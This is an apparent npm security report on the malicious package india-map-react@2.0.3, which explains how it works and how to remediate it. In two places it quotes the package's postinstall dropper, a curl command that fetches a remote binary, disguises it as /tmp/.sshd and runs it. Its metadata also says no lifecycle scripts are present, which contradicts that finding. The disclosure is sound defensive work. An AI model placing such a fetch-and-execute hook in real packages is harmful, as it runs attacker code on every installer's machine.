---
canonical: "https://firewall.lpm.dev/npm/india-map-react"
markdown: "https://firewall.lpm.dev/npm/india-map-react/report.md"
package: "india-map-react"
report_status: "published"
title: "india-map-react@2.0.3 npm security report"
verdict: "malicious"
version: "2.0.3"
---

# india-map-react@2.0.3 npm security report

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## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-5542 identifies this version as malicious and supplies the Firewall block.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 2.0.3
- **Selected version is latest:** Yes
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-5542 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-5542 confirms this npm version as malicious. package.json declares a postinstall hook that runs \`curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2\>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &\`...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 100.0%
- **Started:** 2026-06-30T15:00:00.099Z
- **Finished:** 2026-06-30T15:00:00.099Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to india-map-react@2.0.3.

- Avoid installing india-map-react@2.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

package.json declares a postinstall hook that runs \`curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2\>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &\`. On every \`npm install\`, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (\`-k\`), follows redirects (\`-L\`), suppresses all errors (\`2\>/dev/null\`), stages the binary under a deceptive hidden path masquerading as the SSH daemon (\`/tmp/.sshd\`), marks it executable, and runs it in the background. The URL uses the mutable \`latest/download\` alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** india-map-react
- **Ecosystem:** npm
- **Version:** 2.0.3
- **Version published:** Not available
- **Package first seen:** 2026-06-30T15:00:00.099Z
- **Package last seen:** 2026-06-30T15:00:00.099Z
- **Known versions:** 3
- **Latest version:** 2.0.3
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/india-map-react>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-5542>)
- [OpenSSF JSON](<https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/india-map-react/MAL-2026-5542.json>)
- [PACKAGE](<https://www.npmjs.com/package/india-map-react/v/2.0.2>)
- [PACKAGE](<https://www.npmjs.com/package/india-map-react/v/2.0.3>)
- [PACKAGE](<https://www.npmjs.com/package/india-map-react/v/2.0.1>)